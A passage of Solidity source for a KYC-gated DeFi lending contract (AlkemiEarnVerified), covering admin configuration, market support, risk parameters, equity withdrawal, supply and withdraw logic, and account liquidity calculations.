// newPendingAdmin can be 0x00, hence not checked
require(newOracle != address(0), "Cannot set weth address to 0x00");
require(
originationFeeMantissa < 10**18 && newCloseFactorMantissa < 10**18,
"Invalid Origination Fee or Close Factor Mantissa"
);
// Store pendingAdmin = newPendingAdmin
pendingAdmin = newPendingAdmin;
// Verify contract at newOracle address supports assetPrices call.
// This will revert if it doesn't.
// ChainLink priceOracleTemp = ChainLink(newOracle);
// priceOracleTemp.getAssetPrice(address(0));
// Initialize the Chainlink contract in priceOracle
priceOracle = ChainLink(newOracle);
paused = requestedState;
originationFee = Exp({mantissa: originationFeeMantissa});
closeFactorMantissa = newCloseFactorMantissa;
require(
wethContractAddress != address(0),
"Cannot set weth address to 0x00"
);
wethAddress = wethContractAddress;
WETHContract = AlkemiWETH(wethAddress);
rewardControl = RewardControlInterface(_rewardControl);
return uint256(Error.NO_ERROR);
}
/**
* @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin
* @dev Admin function for pending admin to accept role and update admin
*/
function _acceptAdmin() public {
// Check caller = pendingAdmin
// msg.sender can't be zero
require(msg.sender == pendingAdmin, "ACCEPT_ADMIN_PENDING_ADMIN_CHECK");
// Store admin = pendingAdmin
admin = pendingAdmin;
// Clear the pending value
pendingAdmin = 0;
}
/**
* @notice returns the liquidity for given account.
* a positive result indicates ability to borrow, whereas
* a negative result indicates a shortfall which may be liquidated
* @dev returns account liquidity in terms of eth-wei value, scaled by 1e18 and truncated when the value is 0 or when the last few decimals are 0
* note: this includes interest trued up on all balances
* @param account the account to examine
* @return signed integer in terms of eth-wei (negative indicates a shortfall)
*/
function getAccountLiquidity(address account) public view returns (int256) {
(
Error err,
Exp memory accountLiquidity,
Exp memory accountShortfall
) = calculateAccountLiquidity(account);
revertIfError(err);
if (isZeroExp(accountLiquidity)) {
return -1 * int256(truncate(accountShortfall));
} else {
return int256(truncate(accountLiquidity));
}
}
/**
* @notice return supply balance with any accumulated interest for `asset` belonging to `account`
* @dev returns supply balance with any accumulated interest for `asset` belonging to `account`
* @param account the account to examine
* @param asset the market asset whose supply balance belonging to `account` should be checked
* @return uint supply balance on success, throws on failed assertion otherwise
*/
function getSupplyBalance(address account, address asset)
public
view
returns (uint256)
{
Error err;
uint256 newSupplyIndex;
uint256 userSupplyCurrent;
Market storage market = markets[asset];
Balance storage supplyBalance = supplyBalances[account][asset];
// Calculate the newSupplyIndex, needed to calculate user's supplyCurrent
(err, newSupplyIndex) = calculateInterestIndex(
market.supplyIndex,
market.supplyRateMantissa,
market.blockNumber,
block.number
);
revertIfError(err);
// Use newSupplyIndex and stored principal to calculate the accumulated balance
(err, userSupplyCurrent) = calculateBalance(
supplyBalance.principal,
supplyBalance.interestIndex,
newSupplyIndex
);
revertIfError(err);
return userSupplyCurrent;
}
/**
* @notice return borrow balance with any accumulated interest for `asset` belonging to `account`
* @dev returns borrow balance with any accumulated interest for `asset` belonging to `account`
* @param account the account to examine
* @param asset the market asset whose borrow balance belonging to `account` should be checked
* @return uint borrow balance on success, throws on failed assertion otherwise
*/
function getBorrowBalance(address account, address asset)
public
view
returns (uint256)
{
Error err;
uint256 newBorrowIndex;
uint256 userBorrowCurrent;
Market storage market = markets[asset];
Balance storage borrowBalance = borrowBalances[account][asset];
// Calculate the newBorrowIndex, needed to calculate user's borrowCurrent
(err, newBorrowIndex) = calculateInterestIndex(
market.borrowIndex,
market.borrowRateMantissa,
market.blockNumber,
block.number
);
revertIfError(err);
// Use newBorrowIndex and stored principal to calculate the accumulated balance
(err, userBorrowCurrent) = calculateBalance(
borrowBalance.principal,
borrowBalance.interestIndex,
newBorrowIndex
);
revertIfError(err);
return userBorrowCurrent;
}
/**
* @notice Supports a given market (asset) for use
* @dev Admin function to add support for a market
* @param asset Asset to support; MUST already have a non-zero price set
* @param interestRateModel InterestRateModel to use for the asset
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _supportMarket(address asset, InterestRateModel interestRateModel)
public
onlyOwner
returns (uint256)
{
// Hard cap on the maximum number of markets allowed
require(
interestRateModel != address(0) &&
collateralMarkets.length < 16, // 16 = MAXIMUM_NUMBER_OF_MARKETS_ALLOWED
"INPUT_VALIDATION_FAILED"
);
(Error err, Exp memory assetPrice) = fetchAssetPrice(asset);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.SUPPORT_MARKET_FETCH_PRICE_FAILED);
}
if (isZeroExp(assetPrice)) {
return
fail(
Error.ASSET_NOT_PRICED,
FailureInfo.SUPPORT_MARKET_PRICE_CHECK
);
}
// Set the interest rate model to `modelAddress`
markets[asset].interestRateModel = interestRateModel;
// Append asset to collateralAssets if not set
addCollateralMarket(asset);
// Set market isSupported to true
markets[asset].isSupported = true;
// Default supply and borrow index to 1e18
if (markets[asset].supplyIndex == 0) {
markets[asset].supplyIndex = initialInterestIndex;
}
if (markets[asset].borrowIndex == 0) {
markets[asset].borrowIndex = initialInterestIndex;
}
return uint256(Error.NO_ERROR);
}
/**
* @notice Suspends a given *supported* market (asset) from use.
* Assets in this state do count for collateral, but users may only withdraw, payBorrow,
* and liquidate the asset. The liquidate function no longer checks collateralization.
* @dev Admin function to suspend a market
* @param asset Asset to suspend
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _suspendMarket(address asset) public onlyOwner returns (uint256) {
// If the market is not configured at all, we don't want to add any configuration for it.
// If we find !markets[asset].isSupported then either the market is not configured at all, or it
// has already been marked as unsupported. We can just return without doing anything.
// Caller is responsible for knowing the difference between not-configured and already unsupported.
if (!markets[asset].isSupported) {
return uint256(Error.NO_ERROR);
}
// If we get here, we know market is configured and is supported, so set isSupported to false
markets[asset].isSupported = false;
return uint256(Error.NO_ERROR);
}
/**
* @notice Sets the risk parameters: collateral ratio and liquidation discount
* @dev Owner function to set the risk parameters
* @param collateralRatioMantissa rational collateral ratio, scaled by 1e18. The de-scaled value must be >= 1.1
* @param liquidationDiscountMantissa rational liquidation discount, scaled by 1e18. The de-scaled value must be <= 0.1 and must be less than (descaled collateral ratio minus 1)
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setRiskParameters(
uint256 collateralRatioMantissa,
uint256 liquidationDiscountMantissa
) public onlyOwner returns (uint256) {
// Input validations
require(
collateralRatioMantissa >= minimumCollateralRatioMantissa &&
liquidationDiscountMantissa <=
maximumLiquidationDiscountMantissa,
"Liquidation discount is more than max discount or collateral ratio is less than min ratio"
);
Exp memory newCollateralRatio = Exp({
mantissa: collateralRatioMantissa
});
Exp memory newLiquidationDiscount = Exp({
mantissa: liquidationDiscountMantissa
});
Exp memory minimumCollateralRatio = Exp({
mantissa: minimumCollateralRatioMantissa
});
Exp memory maximumLiquidationDiscount = Exp({
mantissa: maximumLiquidationDiscountMantissa
});
Error err;
Exp memory newLiquidationDiscountPlusOne;
// Make sure new collateral ratio value is not below minimum value
if (lessThanExp(newCollateralRatio, minimumCollateralRatio)) {
return
fail(
Error.INVALID_COLLATERAL_RATIO,
FailureInfo.SET_RISK_PARAMETERS_VALIDATION
);
}
// Make sure new liquidation discount does not exceed the maximum value, but reverse operands so we can use the
// existing `lessThanExp` function rather than adding a `greaterThan` function to Exponential.
if (lessThanExp(maximumLiquidationDiscount, newLiquidationDiscount)) {
return
fail(
Error.INVALID_LIQUIDATION_DISCOUNT,
FailureInfo.SET_RISK_PARAMETERS_VALIDATION
);
}
// C = L+1 is not allowed because it would cause division by zero error in `calculateDiscountedRepayToEvenAmount`
// C < L+1 is not allowed because it would cause integer underflow error in `calculateDiscountedRepayToEvenAmount`
(err, newLiquidationDiscountPlusOne) = addExp(
newLiquidationDiscount,
Exp({mantissa: mantissaOne})
);
revertIfError(err); // We already validated that newLiquidationDiscount does not approach overflow size
if (
lessThanOrEqualExp(
newCollateralRatio,
newLiquidationDiscountPlusOne
)
) {
return
fail(
Error.INVALID_COMBINED_RISK_PARAMETERS,
FailureInfo.SET_RISK_PARAMETERS_VALIDATION
);
}
// Store new values
collateralRatio = newCollateralRatio;
liquidationDiscount = newLiquidationDiscount;
return uint256(Error.NO_ERROR);
}
/**
* @notice Sets the interest rate model for a given market
* @dev Admin function to set interest rate model
* @param asset Asset to support
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setMarketInterestRateModel(
address asset,
InterestRateModel interestRateModel
) public onlyOwner returns (uint256) {
require(interestRateModel != address(0), "Rate Model cannot be 0x00");
// Set the interest rate model to `modelAddress`
markets[asset].interestRateModel = interestRateModel;
return uint256(Error.NO_ERROR);
}
/**
* @notice withdraws `amount` of `asset` from equity for asset, as long as `amount` <= equity. Equity = cash + borrows - supply
* @dev withdraws `amount` of `asset` from equity for asset, enforcing amount <= cash + borrows - supply
* @param asset asset whose equity should be withdrawn
* @param amount amount of equity to withdraw; must not exceed equity available
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _withdrawEquity(address asset, uint256 amount)
public
onlyOwner
returns (uint256)
{
// Check that amount is less than cash (from ERC-20 of self) plus borrows minus supply.
uint256 cash = getCash(asset);
// Get supply and borrows with interest accrued till the latest block
(
uint256 supplyWithInterest,
uint256 borrowWithInterest
) = getMarketBalances(asset);
(Error err0, uint256 equity) = addThenSub(
getCash(asset),
borrowWithInterest,
supplyWithInterest
);
if (err0 != Error.NO_ERROR) {
return fail(err0, FailureInfo.EQUITY_WITHDRAWAL_CALCULATE_EQUITY);
}
if (amount > equity) {
return
fail(
Error.EQUITY_INSUFFICIENT_BALANCE,
FailureInfo.EQUITY_WITHDRAWAL_AMOUNT_VALIDATION
);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
if (asset != wethAddress) {
// Withdrawal should happen as Ether directly
// We ERC-20 transfer the asset out of the protocol to the admin
Error err2 = doTransferOut(asset, admin, amount);
if (err2 != Error.NO_ERROR) {
// This is safe since it's our first interaction and it didn't do anything if it failed
return
fail(
err2,
FailureInfo.EQUITY_WITHDRAWAL_TRANSFER_OUT_FAILED
);
}
} else {
withdrawEther(admin, amount); // send Ether to user
}
(, markets[asset].supplyRateMantissa) = markets[asset]
.interestRateModel
.getSupplyRate(asset, cash - amount, markets[asset].totalSupply);
(, markets[asset].borrowRateMantissa) = markets[asset]
.interestRateModel
.getBorrowRate(asset, cash - amount, markets[asset].totalBorrows);
//event EquityWithdrawn(address asset, uint equityAvailableBefore, uint amount, address owner)
emit EquityWithdrawn(asset, equity, amount, admin);
return uint256(Error.NO_ERROR); // success
}
/**
* @dev Convert Ether supplied by user into WETH tokens and then supply corresponding WETH to user
* @return errors if any
* @param etherAmount Amount of ether to be converted to WETH
*/
function supplyEther(uint256 etherAmount) internal returns (uint256) {
require(wethAddress != address(0), "WETH_ADDRESS_NOT_SET_ERROR");
WETHContract.deposit.value(etherAmount)();
return uint256(Error.NO_ERROR);
}
/**
* @dev Revert Ether paid by user back to user's account in case transaction fails due to some other reason
* @param etherAmount Amount of ether to be sent back to user
* @param user User account address
*/
function revertEtherToUser(address user, uint256 etherAmount) internal {
if (etherAmount > 0) {
user.transfer(etherAmount);
}
}
/**
* @notice supply `amount` of `asset` (which must be supported) to `msg.sender` in the protocol
* @dev add amount of supported asset to msg.sender's account
* @param asset The market asset to supply
* @param amount The amount to supply
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function supply(address asset, uint256 amount)
public
payable
nonReentrant
onlyCustomerWithKYC
returns (uint256)
{
if (paused) {
revertEtherToUser(msg.sender, msg.value);
return
fail(Error.CONTRACT_PAUSED, FailureInfo.SUPPLY_CONTRACT_PAUSED);
}
refreshAlkIndex(asset, msg.sender, true, true);
Market storage market = markets[asset];
Balance storage balance = supplyBalances[msg.sender][asset];
SupplyLocalVars memory localResults; // Holds all our uint calculation results
Error err; // Re-used for every function call that includes an Error in its return value(s).
uint256 rateCalculationResultCode; // Used for 2 interest rate calculation calls
// Fail if market not supported
if (!market.isSupported) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
Error.MARKET_NOT_SUPPORTED,
FailureInfo.SUPPLY_MARKET_NOT_SUPPORTED
);
}
if (asset != wethAddress) {
// WETH is supplied to AlkemiEarnVerified contract in case of ETH automatically
// Fail gracefully if asset is not approved or has insufficient balance
revertEtherToUser(msg.sender, msg.value);
err = checkTransferIn(asset, msg.sender, amount);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.SUPPLY_TRANSFER_IN_NOT_POSSIBLE);
}
}
// We calculate the newSupplyIndex, user's supplyCurrent and supplyUpdated for the asset
(err, localResults.newSupplyIndex) = calculateInterestIndex(
market.supplyIndex,
market.supplyRateMantissa,
market.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo.SUPPLY_NEW_SUPPLY_INDEX_CALCULATION_FAILED
);
}
(err, localResults.userSupplyCurrent) = calculateBalance(
balance.principal,
balance.interestIndex,
localResults.newSupplyIndex
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo.SUPPLY_ACCUMULATED_BALANCE_CALCULATION_FAILED
);
}
(err, localResults.userSupplyUpdated) = add(
localResults.userSupplyCurrent,
amount
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo.SUPPLY_NEW_TOTAL_BALANCE_CALCULATION_FAILED
);
}
// We calculate the protocol's totalSupply by subtracting the user's prior checkpointed balance, adding user's updated supply
(err, localResults.newTotalSupply) = addThenSub(
market.totalSupply,
localResults.userSupplyUpdated,
balance.principal
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo.SUPPLY_NEW_TOTAL_SUPPLY_CALCULATION_FAILED
);
}
// We need to calculate what the updated cash will be after we transfer in from user
localResults.currentCash = getCash(asset);
(err, localResults.updatedCash) = add(localResults.currentCash, amount);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(err, FailureInfo.SUPPLY_NEW_TOTAL_CASH_CALCULATION_FAILED);
}
// The utilization rate has changed! We calculate a new supply index and borrow index for the asset, and save it.
(rateCalculationResultCode, localResults.newSupplyRateMantissa) = market
.interestRateModel
.getSupplyRate(asset, localResults.updatedCash, market.totalBorrows);
if (rateCalculationResultCode != 0) {
revertEtherToUser(msg.sender, msg.value);
return
failOpaque(
FailureInfo.SUPPLY_NEW_SUPPLY_RATE_CALCULATION_FAILED,
rateCalculationResultCode
);
}
// We calculate the newBorrowIndex (we already had newSupplyIndex)
(err, localResults.newBorrowIndex) = calculateInterestIndex(
market.borrowIndex,
market.borrowRateMantissa,
market.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo.SUPPLY_NEW_BORROW_INDEX_CALCULATION_FAILED
);
}
(rateCalculationResultCode, localResults.newBorrowRateMantissa) = market
.interestRateModel
.getBorrowRate(asset, localResults.updatedCash, market.totalBorrows);
if (rateCalculationResultCode != 0) {
revertEtherToUser(msg.sender, msg.value);
return
failOpaque(
FailureInfo.SUPPLY_NEW_BORROW_RATE_CALCULATION_FAILED,
rateCalculationResultCode
);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
// Save market updates
market.blockNumber = block.number;
market.totalSupply = localResults.newTotalSupply;
market.supplyRateMantissa = localResults.newSupplyRateMantissa;
market.supplyIndex = localResults.newSupplyIndex;
market.borrowRateMantissa = localResults.newBorrowRateMantissa;
market.borrowIndex = localResults.newBorrowIndex;
// Save user updates
localResults.startingBalance = balance.principal; // save for use in `SupplyReceived` event
balance.principal = localResults.userSupplyUpdated;
balance.interestIndex = localResults.newSupplyIndex;
if (asset != wethAddress) {
// WETH is supplied to AlkemiEarnVerified contract in case of ETH automatically
// We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above)
revertEtherToUser(msg.sender, msg.value);
err = doTransferIn(asset, msg.sender, amount);
if (err != Error.NO_ERROR) {
// This is safe since it's our first interaction and it didn't do anything if it failed
return fail(err, FailureInfo.SUPPLY_TRANSFER_IN_FAILED);
}
} else {
if (msg.value == amount) {
uint256 supplyError = supplyEther(msg.value);
if (supplyError != 0) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
Error.WETH_ADDRESS_NOT_SET_ERROR,
FailureInfo.WETH_ADDRESS_NOT_SET_ERROR
);
}
} else {
revertEtherToUser(msg.sender, msg.value);
return
fail(
Error.ETHER_AMOUNT_MISMATCH_ERROR,
FailureInfo.ETHER_AMOUNT_MISMATCH_ERROR
);
}
}
emit SupplyReceived(
msg.sender,
asset,
amount,
localResults.startingBalance,
balance.principal
);
return uint256(Error.NO_ERROR); // success
}
/**
* @notice withdraw `amount` of `ether` from sender's account to sender's address
* @dev withdraw `amount` of `ether` from msg.sender's account to msg.sender
* @param etherAmount Amount of ether to be converted to WETH
* @param user User account address
*/
function withdrawEther(address user, uint256 etherAmount)
internal
returns (uint256)
{
WETHContract.withdraw(user, etherAmount);
return uint256(Error.NO_ERROR);
}
/**
* @notice withdraw `amount` of `asset` from sender's account to sender's address
* @dev withdraw `amount` of `asset` from msg.sender's account to msg.sender
* @param asset The market asset to withdraw
* @param requestedAmount The amount to withdraw (or -1 for max)
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function withdraw(address asset, uint256 requestedAmount)
public
nonReentrant
returns (uint256)
{
if (paused) {
return
fail(
Error.CONTRACT_PAUSED,
FailureInfo.WITHDRAW_CONTRACT_PAUSED
);
}
refreshAlkIndex(asset, msg.sender, true, true);
Market storage market = markets[asset];
Balance storage supplyBalance = supplyBalances[msg.sender][asset];
WithdrawLocalVars memory localResults; // Holds all our calculation results
Error err; // Re-used for every function call that includes an Error in its return value(s).
uint256 rateCalculationResultCode; // Used for 2 interest rate calculation calls
// We calculate the user's accountLiquidity and accountShortfall.
(
err,
localResults.accountLiquidity,
localResults.accountShortfall
) = calculateAccountLiquidity(msg.sender);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.WITHDRAW_ACCOUNT_LIQUIDITY_CALCULATION_FAILED
);
}
// We calculate the newSupplyIndex, user's supplyCurrent and supplyUpdated for the asset
(err, localResults.newSupplyIndex) = calculateInterestIndex(
market.supplyIndex,
market.supplyRateMantissa,
market.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.WITHDRAW_NEW_SUPPLY_INDEX_CALCULATION_FAILED
);
}
(err, localResults.userSupplyCurrent) = calculateBalance(
supplyBalance.principal,
supplyBalance.interestIndex,
localResults.newSupplyIndex
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.WITHDRAW_ACCUMULATED_BALANCE_CALCULATION_FAILED
);
}
// If the user specifies -1 amount to withdraw ("max"), withdrawAmount => the lesser of withdrawCapacity and supplyCurrent
if (requestedAmount == uint256(-1)) {
(err, localResults.withdrawCapacity) = getAssetAmountForValue(
asset,
localResults.accountLiquidity
);
if (err != Error.NO_ERROR) {
return
fail(err, FailureInfo.WITHDRAW_CAPACITY_CALCULATION_FAILED);
}
localResults.withdrawAmount = min(
localResults.withdrawCapacity,
localResults.userSupplyCurrent
);
} else {
localResults.withdrawAmount = requestedAmount;
}
// From here on we should NOT use requestedAmount.
// Fail gracefully if protocol has insufficient cash
// If protocol has insufficient cash, the sub operation will underflow.
localResults.currentCash = getCash(asset);
(err, localResults.updatedCash) = sub(
localResults.currentCash,
localResults.withdrawAmount
);
if (err != Error.NO_ERROR) {
return
fail(
Error.TOKEN_INSUFFICIENT_CASH,
FailureInfo.WITHDRAW_TRANSFER_OUT_NOT_POSSIBLE
);
}
// We check that the amount is less than or equal to supplyCurrent
// If amount is greater than supplyCurrent, this will fail with Error.INTEGER_UNDERFLOW
(err, localResults.userSupplyUpdated) = sub(
localResults.userSupplyCurrent,
localResults.withdrawAmount
);
if (err != Error.NO_ERROR) {
return
fail(
Error.INSUFFICIENT_BALANCE,
FailureInfo.WITHDRAW_NEW_TOTAL_BALANCE_CALCULATION_FAILED
);
}
// Fail if customer already has a shortfall
if (!isZeroExp(localResults.accountShortfall)) {
return
fail(
Error.INSUFFICIENT_LIQUIDITY,
FailureInfo.WITHDRAW_ACCOUNT_SHORTFALL_PRESENT
);
}
// We want to know the user's withdrawCapacity, denominated in the asset
// Customer's withdrawCapacity of asset is (accountLiquidity in Eth)/ (price of asset in Eth)
// Equivalently, we calculate the eth value of the withdrawal amount and compare it directly to the accountLiquidity in Eth
(err, localResults.ethValueOfWithdrawal) = getPriceForAssetAmount(
asset,
localResults.withdrawAmount,
false
); // amount * oraclePrice = ethValueOfWithdrawal
if (err != Error.NO_ERROR) {
return
fail(err, FailureInfo.WITHDRAW_AMOUNT_VALUE_CALCULATION_FAILED);
}
// We check that the amount is less than withdrawCapacity (here), and less than or equal to supplyCurrent (below)
if (
lessThanExp(
localResults.accountLiquidity,
localResults.ethValueOfWithdrawal
)
) {
return
fail(
Error.INSUFFICIENT_LIQUIDITY,
FailureInfo.WITHDRAW_AMOUNT_LIQUIDITY_SHORTFALL
);
}
// We calculate the protocol's totalSupply by subtracting the user's prior checkpointed balance, adding user's updated supply.
// Note that, even though the customer is withdrawing, if they've accumulated a lot of interest since their last
// action, the updated balance *could* be higher than the prior checkpointed balance.
(err, localResults.newTotalSupply) = addThenSub(
market.totalSupply,
localResults.userSupplyUpdated,
supplyBalance.principal
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.WITHDRAW_NEW_TOTAL_SUPPLY_CALCULATION_FAILED
);
}
// The utilization rate has changed! We calculate a new supply index and borrow index for the asset, and save it.
(rateCalculationResultCode, localResults.newSupplyRateMantissa) = market
.interestRateModel
.getSupplyRate(asset, localResults.updatedCash, market.totalBorrows);
if (rateCalculationResultCode != 0) {
return
failOpaque(
FailureInfo.WITHDRAW_NEW_SUPPLY_RATE_CALCULATION_FAILED,
rateCalculationResultCode
);
}
// We calculate the newBorrowIndex
(err, localResults.newBorrowIndex) = calculateInterestIndex(
market.borrowIndex,
market.borrowRateMantissa,
market.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.WITHDRAW_NEW_BORROW_INDEX_CALCULATION_FAILED
);
}
(rateCalculationResultCode, localResults.newBorrowRateMantissa) = market
.interestRateModel
.getBorrowRate(asset, localResults.updatedCash, market.totalBorrows);
if (rateCalculationResultCode != 0) {
return
failOpaque(
FailureInfo.WITHDRAW_NEW_BORROW_RATE_CALCULATION_FAILED,
rateCalculationResultCode
);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
// Save market updates
market.blockNumber = block.number;
market.totalSupply = localResults.newTotalSupply;
market.supplyRateMantissa = localResults.newSupplyRateMantissa;
market.supplyIndex = localResults.newSupplyIndex;
market.borrowRateMantissa = localResults.newBorrowRateMantissa;
market.borrowIndex = localResults.newBorrowIndex;
// Save user updates
localResults.startingBalance = supplyBalance.principal; // save for use in `SupplyWithdrawn` event
supplyBalance.principal = localResults.userSupplyUpdated;
supplyBalance.interestIndex = localResults.newSupplyIndex;
if (asset != wethAddress) {
// Withdrawal should happen as Ether directly
// We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above)
err = doTransferOut(asset, msg.sender, localResults.withdrawAmount);
if (err != Error.NO_ERROR) {
// This is safe since it's our first interaction and it didn't do anything if it failed
return fail(err, FailureInfo.WITHDRAW_TRANSFER_OUT_FAILED);
}
} else {
withdrawEther(msg.sender, localResults.withdrawAmount); // send Ether to user
}
emit SupplyWithdrawn(
msg.sender,
asset,
localResults.withdrawAmount,
localResults.startingBalance,
supplyBalance.principal
);
return uint256(Error.NO_ERROR); // success
}
/**
* @dev Gets the user's account liquidity and account shortfall balances. This includes
* any accumulated interest thus far but does NOT actually update anything in
* storage, it simply calculates the account liquidity and shortfall with liquidity being
* returned as the first Exp, ie (Error, accountLiquidity, accountShortfall).
* @return Return values are expressed in 1e18 scale
*/
function calculateAccountLiquidity(address userAddress)
internal
view
returns (
Error,
Exp memory,
Exp memory
)
{
Error err;
Exp memory sumSupplyValuesMantissa;
Exp memory sumBorrowValuesMantissa;
(
err,
sumSupplyValuesMantissa,
sumBorrowValuesMantissa
) = calculateAccountValuesInternal(userAddress);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
Exp memory result;
Exp memory sumSupplyValuesFinal = Exp({
mantissa: sumSupplyValuesMantissa.mantissa
});
Exp memory sumBorrowValuesFinal; // need to apply collateral ratio
(err, sumBorrowValuesFinal) = mulExp(
collateralRatio,
Exp({mantissa: sumBorrowValuesMantissa.mantissa})
);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
// if sumSupplies < sumBorrows, then the user is under collateralized and has account shortfall.
// else the user meets the collateral ratio and has account liquidity.
if (lessThanExp(sumSupplyValuesFinal, sumBorrowValuesFinal)) {
// accountShortfall = borrows - supplies
(err, result) = subExp(sumBorrowValuesFinal, sumSupplyValuesFinal);
revertIfError(err); // Note: we have checked that sumBorrows is greater than sumSupplies directly above, therefore `subExp` cannot fail.
return (Error.NO_ERROR, Exp({mantissa: 0}), result);
} else {
// accountLiquidity = supplies - borrows
(err, result) = subExp(sumSupplyValuesFinal, sumBorrowValuesFinal);
revertIfError(err); // Note: we have checked that sumSupplies is greater than sumBorrows directly above, therefore `subExp` cannot fail.
return (Error.NO_ERROR, result, Exp({mantissa: 0}));
}
}
/**
* @notice Gets the ETH values of the user's accumulated supply and borrow balances, scaled by 10e18.
* This includes any accumulated interest thus far but does NOT actually update anything in
* storage
* @dev Gets ETH values of accumulated supply and borrow balances
* @param userAddress account for which to sum values
* @return (error code, sum ETH value of supplies scaled by 10e18, sum ETH value of borrows scaled by 10e18)
*/
function calculateAccountValuesInternal(address userAddress)
internal
view
returns (
Error,
Exp memory,
Exp memory
)
{
/** By definition, all collateralMarkets are those that contribute to the user's
* liquidity and shortfall so we need only loop through those markets.
* To handle avoiding intermediate negative results, we will sum all the user's
* supply balances and borrow balances (with collateral ratio) separately and then
* subtract the sums at the end.
*/
AccountValueLocalVars memory localResults; // Re-used for all intermediate results
localResults.sumSupplies = Exp({mantissa: 0});
localResults.sumBorrows = Exp({mantissa: 0});
Error err; // Re-used for all intermediate errors
localResults.collateralMarketsLength = collateralMarkets.length;
for (uint256 i = 0; i < localResults.collateralMarketsLength; i++) {
localResults.assetAddress = collateralMarkets[i];
Market storage currentMarket = markets[localResults.assetAddress];
Balance storage supplyBalance = supplyBalances[userAddress][
localResults.assetAddress
];
Balance storage borrowBalance = borrowBalances[userAddress][
localResults.assetAddress
];
if (supplyBalance.principal > 0) {
// We calculate the newSupplyIndex and user’s supplyCurrent (includes interest)
(err, localResults.newSupplyIndex) = calculateInterestIndex(
currentMarket.supplyIndex,
currentMarket.supplyRateMantissa,
currentMarket.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
(err, localResults.userSupplyCurrent) = calculateBalance(
supplyBalance.principal,
supplyBalance.interestIndex,
localResults.newSupplyIndex
);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
// We have the user's supply balance with interest so let's multiply by the asset price to get the total value
(err, localResults.supplyTotalValue) = getPriceForAssetAmount(
localResults.assetAddress,
localResults.userSupplyCurrent,
false
); // supplyCurrent * oraclePrice = supplyValueInEth
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
// Add this to our running sum of supplies
(err, localResults.sumSupplies) = addExp(
localResults.supplyTotalValue,
localResults.sumSupplies
);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
}
if (borrowBalance.principal > 0) {
// We perform a similar actions to get the user's borrow balance
(err, localResults.newBorrowIndex) = calculateInterestIndex(
currentMarket.borrowIndex,
currentMarket.borrowRateMantissa,
currentMarket.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
(err, localResults.userBorrowCurrent) = calculateBalance(
borrowBalance.principal,
borrowBalance.interestIndex,
localResults.newBorrowIndex
);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
// We have the user's borrow balance with interest so let's multiply by the asset price to get the total value
(err, localResults.borrowTotalValue) = getPriceForAssetAmount(
localResults.assetAddress,
localResults.userBorrowCurrent,
false
); // borrowCurrent * oraclePrice = borrowValueInEth
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
// Add this to our running sum of borrows
(err, localResults.sumBorrows) = addExp(
localResults.borrowTotalValue,
localResults.sumBorrows
);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
}
}
return (
Error.NO_ERROR,
localResults.sumSupplies,
localResults.sumBorrows
);
}
/**
* @notice Gets the ETH values of the user's accumulated supply and borrow balances, scaled by 10e18.
* This includes any accumulated interest thus far but does NOT actually update anything in
* storage
* @dev Gets ETH values of accumulated supply and borrow balances
* @param userAddress account for which to sum values
* @return (uint 0=success; otherwise a failure (see ErrorReporter.sol for details),
* sum ETH value of supplies scaled by 10e18,
* sum ETH value of borrows scaled by 10e18)
*/
function calculateAccountValues(address userAddress)
public
view
returns (
uint256,
uint256,
uint256
)
{
(
Error err,
Exp memory supplyValue,
Exp memory borrowValue
) = calculateAccountValuesInternal(userAddress);
if (err != Error.NO_ERROR) {
return (uint256(err), 0, 0);
}
return (0, supplyValue.mantissa, borrowValue.mantissa);
}
/**
